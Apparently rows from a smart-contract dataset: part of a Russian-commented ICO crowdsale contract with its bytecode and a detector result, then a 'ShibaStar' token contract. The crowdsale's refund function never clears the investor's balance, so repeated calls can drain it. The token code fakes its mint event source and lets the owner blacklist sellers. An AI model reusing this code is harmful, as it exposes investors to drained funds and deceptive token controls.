// Добавить адрес в whitelist
function addToWhitelist(address _beneficiary) public backEnd {
whitelist[_beneficiary] = true;
}
// Добавить несколько адресов в whitelist
function addManyToWhitelist(address[] _beneficiaries) public backEnd {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
// Исключить адрес из whitelist
function removeFromWhitelist(address _beneficiary) public backEnd {
whitelist[_beneficiary] = false;
}
// Узнать истек ли срок проведения PreICO
function hasPreICOClosed() public view returns (bool) {
return now > preICOEndDate;
}
// Узнать истек ли срок проведения ICO
function hasICOClosed() public view returns (bool) {
return now > ICOEndDate;
}
// Перевести собранные средства на кошелек для сбора
function forwardFunds () public onlyOwner {
require(now > ICOEndDate);
require((preICOWeiRaised.add(ICOWeiRaised)).mul(ETHUSD).div(10**18) >= softcap);
wallet.transfer(ICOWeiRaised);
}
// Вернуть проинвестированные средства, если не был достигнут softcap
function refund() public {
require(now > ICOEndDate);
require(preICOWeiRaised.add(ICOWeiRaised).mul(ETHUSD).div(10**18) < softcap);
require(investors[msg.sender] > 0);
address investor = msg.sender;
investor.transfer(investors[investor]);
}
/* Внутренние методы */
// Проверка актуальности PreICO
function _isPreICO() internal view returns(bool) {
return now >= preICOStartDate && now < preICOEndDate;
}
// Проверка актуальности ICO
function _isICO() internal view returns(bool) {
return now >= ICOStartDate && now < ICOEndDate;
}
// Валидация перед покупкой токенов
function _preValidatePreICOPurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(_weiAmount != 0);
require(whitelist[_beneficiary]);
require(now >= preICOStartDate && now <= preICOEndDate);
}
function _preValidateICOPurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(_weiAmount != 0);
require(whitelist[_beneficiary]);
require((preICOWeiRaised + ICOWeiRaised + _weiAmount).mul(ETHUSD).div(10**18) <= hardcap);
require(now >= ICOStartDate && now <= ICOEndDate);
}
// Подсчет бонусов с учетом бонусов за этап ICO и объем инвестиций
function _getTokenAmountWithBonus(uint256 _weiAmount) internal view returns(uint256) {
uint256 baseTokenAmount = _weiAmount.mul(rate);
uint256 tokenAmount = baseTokenAmount;
uint256 usdAmount = _weiAmount.mul(ETHUSD).div(10**18);
// Считаем бонусы за объем инвестиций
if(usdAmount >= 10000000){
tokenAmount = tokenAmount.add(baseTokenAmount.mul(7).div(100));
} else if(usdAmount >= 5000000){
tokenAmount = tokenAmount.add(baseTokenAmount.mul(5).div(100));
} else if(usdAmount >= 1000000){
tokenAmount = tokenAmount.add(baseTokenAmount.mul(3).div(100));
}
// Считаем бонусы за этап ICO
if(now < ICOStartDate + 30 days) {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(20).div(100));
} else if(now < ICOStartDate + 60 days) {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(15).div(100));
} else if(now < ICOStartDate + 90 days) {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(10).div(100));
} else {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(5).div(100));
}
return tokenAmount;
}
// Подсчет бонусов с учетом бонусов реферальной системы
function _getTokenAmountWithReferal(uint256 _weiAmount, uint8 _percent) internal view returns(uint256) {
return _weiAmount.mul(rate).mul(_percent).div(100);
}
// Перевод токенов
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.mint(_beneficiary, _tokenAmount);
}
}
|
0x6080604052600436106101b6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806285c6471461043e57806302262ced1461046b578063144fa6d7146104ae5780631778f1df146104f157806320a0128e1461051c5780632c4e722e1461054757806343e91384146105725780634db3c6d71461059f578063521eb273146105d557806353c3fe8a1461062c578063590e1ae31461065b57806363e0f8c7146106725780636f7bc9be146106a3578063718dfb7e146106fa57806373db084414610729578063824d1b4b146107545780638ab1d6811461077f5780638c10671c146107c25780638da5cb5b146108285780639b19251a1461087f5780639d735286146108da5780639da0dc0a146108f1578063a98a6d191461091c578063b071cbe614610947578063b3335e6b14610972578063bed315f81461099f578063c7b6084c146109d0578063c9db1bbf14610a27578063d7237e4514610a54578063deaa59df14610a85578063e230dfbd14610ac8578063e43252d714610af5578063e75ea9da14610b38578063f89be59314610b63578063fc0c546a14610b8e575b60008060003392503491506101c9610be5565b15610356576101d88383610bff565b61022761021861020760646101f9601e600454610c8a90919063ffffffff16565b610cc590919063ffffffff16565b600454610ce090919063ffffffff16565b83610c8a90919063ffffffff16565b905061023e82600554610ce090919063ffffffff16565b600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156102ac573d6000803e3d6000fd5b5081601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102fb8382610cfe565b8273ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a2610439565b61035e610e03565b156104385761036d8383610e1d565b61037682610eef565b905061038d82600654610ce090919063ffffffff16565b60068190555081601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e18382610cfe565b8273ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a25b5b505050005b34801561044a57600080fd5b5061046960048036038101908080359060200190929190505050611158565b005b34801561047757600080fd5b506104ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111cd565b005b3480156104ba57600080fd5b506104ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126c565b005b3480156104fd57600080fd5b5061050661130b565b6040518082815260200191505060405180910390f35b34801561052857600080fd5b50610531611311565b6040518082815260200191505060405180910390f35b34801561055357600080fd5b5061055c611317565b6040518082815260200191505060405180910390f35b34801561057e57600080fd5b5061059d6004803603810190808035906020019092919050505061131d565b005b6105d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611392565b005b3480156105e157600080fd5b506105ea6114ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063857600080fd5b506106416114f0565b604051808215151515815260200191505060405180910390f35b34801561066757600080fd5b506106706114fc565b005b34801561067e57600080fd5b5061068761163c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156106af57600080fd5b506106e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164f565b6040518082815260200191505060405180910390f35b34801561070657600080fd5b5061070f611667565b604051808215151515815260200191505060405180910390f35b34801561073557600080fd5b5061073e611673565b6040518082815260200191505060405180910390f35b34801561076057600080fd5b50610769611679565b6040518082815260200191505060405180910390f35b34801561078b57600080fd5b506107c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b005b3480156107ce57600080fd5b506108266004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061178d565b005b34801561083457600080fd5b5061083d6118d0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561088b57600080fd5b506108c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f5565b604051808215151515815260200191505060405180910390f35b3480156108e657600080fd5b506108ef611915565b005b3480156108fd57600080fd5b50610906611a42565b6040518082815260200191505060405180910390f35b34801561092857600080fd5b50610931611a48565b6040518082815260200191505060405180910390f35b34801561095357600080fd5b5061095c611a4e565b6040518082815260200191505060405180910390f35b34801561097e57600080fd5b5061099d60048036038101908080359060200190929190505050611a54565b005b3480156109ab57600080fd5b506109ce600480360381019080803561ffff169060200190929190505050611ac9565b005b3480156109dc57600080fd5b506109e5611b45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3357600080fd5b50610a5260048036038101908080359060200190929190505050611b6b565b005b348015610a6057600080fd5b50610a69611be0565b604051808260ff1660ff16815260200191505060405180910390f35b348015610a9157600080fd5b50610ac6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bf3565b005b348015610ad457600080fd5b50610af360048036038101908080359060200190929190505050611cb8565b005b348015610b0157600080fd5b50610b36600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d1d565b005b348015610b4457600080fd5b50610b4d611e2b565b6040518082815260200191505060405180910390f35b348015610b6f57600080fd5b50610b78611e31565b6040518082815260200191505060405180910390f35b348015610b9a57600080fd5b50610ba3611e37565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006008544210158015610bfa575060095442105b905090565b60008114151515610c0f57600080fd5b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c6757600080fd5b6008544210158015610c7b57506009544211155b1515610c8657600080fd5b5050565b6000806000841415610c9f5760009150610cbe565b8284029050828482811515610cb057fe5b04141515610cba57fe5b8091505b5092915050565b6000808284811515610cd357fe5b0490508091505092915050565b6000808284019050838110151515610cf457fe5b8091505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dc357600080fd5b505af1158015610dd7573d6000803e3d6000fd5b505050506040513d6020811015610ded57600080fd5b8101908080519060200190929190505050505050565b6000600a544210158015610e185750600b5442105b905090565b60008114151515610e2d57600080fd5b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e8557600080fd5b600d54610ebf670de0b6b3a7640000610eb1600754856006546005540101610c8a90919063ffffffff16565b610cc590919063ffffffff16565b11151515610ecc57600080fd5b600a544210158015610ee05750600b544211155b1515610eeb57600080fd5b5050565b600080600080610f0a60045486610c8a90919063ffffffff16565b9250829150610f3e670de0b6b3a7640000610f3060075488610c8a90919063ffffffff16565b610cc590919063ffffffff16565b90506298968081101515610f8c57610f85610f766064610f68600787610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b9150611022565b624c4b4081101515610fd857610fd1610fc26064610fb4600587610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b9150611021565b620f4240811015156110205761101d61100e6064611000600387610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b91505b5b5b62278d00600a54014210156110715761106a61105b606461104d601487610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b915061114d565b624f1a00600a54014210156110c0576110b96110aa606461109c600f87610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b915061114c565b6276a700600a540142101561110f576111086110f960646110eb600a87610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b915061114b565b611148611139606461112b600587610c8a90919063ffffffff16565b610cc590919063ffffffff16565b83610ce090919063ffffffff16565b91505b5b5b819350505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b357600080fd5b600854811115156111c357600080fd5b8060098190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122857600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112c757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b600b5481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137857600080fd5b600a548111151561138857600080fd5b80600b8190555050565b600080600080600a5442101580156113ab5750600b5442105b15156113b657600080fd5b3393503492506113c68484610e1d565b6113eb6113d4846002611e5d565b6113dd85610eef565b610ce090919063ffffffff16565b91506113f8836003611e5d565b905061140f83600654610ce090919063ffffffff16565b60068190555082601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114638483610cfe565b61146d8582610cfe565b8373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8484604051808381526020018281526020019250505060405180910390a25050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b544211905090565b6000600b544211151561150e57600080fd5b600c54611556670de0b6b3a764000061154860075461153a600654600554610ce090919063ffffffff16565b610c8a90919063ffffffff16565b610cc590919063ffffffff16565b10151561156257600080fd5b6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156115b057600080fd5b3390508073ffffffffffffffffffffffffffffffffffffffff166108fc601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f19350505050158015611638573d6000803e3d6000fd5b5050565b600e60009054906101000a900460ff1681565b60106020528060005260406000206000915090505481565b60006009544211905090565b60075481565b60085481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061172757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561173257600080fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061183757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561184257600080fd5b600090505b81518110156118cc576001600f6000848481518110151561186457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611847565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197057600080fd5b600b544211151561198057600080fd5b600c546119c8670de0b6b3a76400006119ba6007546119ac600654600554610ce090919063ffffffff16565b610c8a90919063ffffffff16565b610cc590919063ffffffff16565b101515156119d557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6006549081150290604051600060405180830381858888f19350505050158015611a3f573d6000803e3d6000fd5b50565b60055481565b60065481565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aaf57600080fd5b600b5481101515611abf57600080fd5b80600a8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b2457600080fd5b60008161ffff16111515611b3757600080fd5b8061ffff1660048190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bc657600080fd5b60095481101515611bd657600080fd5b8060088190555050565b600e60019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c4e57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611c7457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d1357600080fd5b8060078190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dc557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611dd057600080fd5b6001600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60095481565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611e9c6064611e8e8460ff16611e8060045488610c8a90919063ffffffff16565b610c8a90919063ffffffff16565b610cc590919063ffffffff16565b9050929150505600a165627a7a7230582018a4a1de13ecb1ccb9edf547266cdd66a35098a85c50de023a6ff37ab19124bd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,777 |
0x551f9132d2eb890bb96fe4f5e041fc3e1f4afa9d
|
/**
*Submitted for verification at Etherscan.io on 2021-07-24
*/
/**
*Submitted for verification
*/
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShibaStar is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "www.shibastar.xyz";
string private constant _symbol = "ShibaStar";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
